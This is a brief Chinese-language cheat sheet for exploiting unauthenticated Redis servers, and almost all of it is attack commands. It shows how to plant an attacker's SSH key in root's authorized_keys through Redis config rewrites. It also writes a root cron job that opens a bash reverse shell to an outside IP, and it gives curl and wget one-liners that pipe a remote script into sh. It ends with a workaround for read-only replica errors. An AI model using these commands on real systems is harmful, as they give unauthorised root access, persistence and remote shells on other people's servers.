redis 未授權訪問(寫公鑰、寫計劃任務)
寫公鑰
ssh-keygen -t rsa # 生成key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/key.txt # 前後加換行
cat /tmp/key.txt | redis-cli -h 59.xx.xx.157 -x set xxx # 連接redis設定鍵
redis-cli -h 59.xx.xx.157 config set dir /root/.ssh/ # 設置本地資料庫存放目錄
redis-cli -h 59.xx.xx.157 config set dbfilename authorized_keys # 設置本地資料庫文件名
redis-cli -h 59.xx.xx.157 save # 報存
寫計劃任務執行命令
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/47.xx.xx.96/4444 0>&1\n\n"|redis-cli -h 59.xx.xx.157 -x set 1 #設定值
redis-cli -h 59.xx.xx.157 config set dir /var/spool/cron/ # 設置本地資料庫存放目錄
redis-cli -h 59.xx.xx.157 config set dbfilename root # 設置本地資料庫文件名
redis-cli -h 59.xx.xx.157 save # 報存
# tips: 可以編製好自己sh腳本,直接請求執行就完事了
curl -fsSL //1.2.3.4/xxx.sh |sh
wget -q -O- //1.2.3.4/xxx.sh |sh
其他
如果報這個錯誤(error) READONLY You can't write against a read only replica.
那麼這時候可能配置了主從,遇到這種情況呢,先執行
INFO replication
查看配置情況
然後使用SLAVEOF no one
命令清除主從關係即可
如果執行報ERROR錯誤,怎麼解決呢。解決個鎚子呢,沒許可權啊,懂么。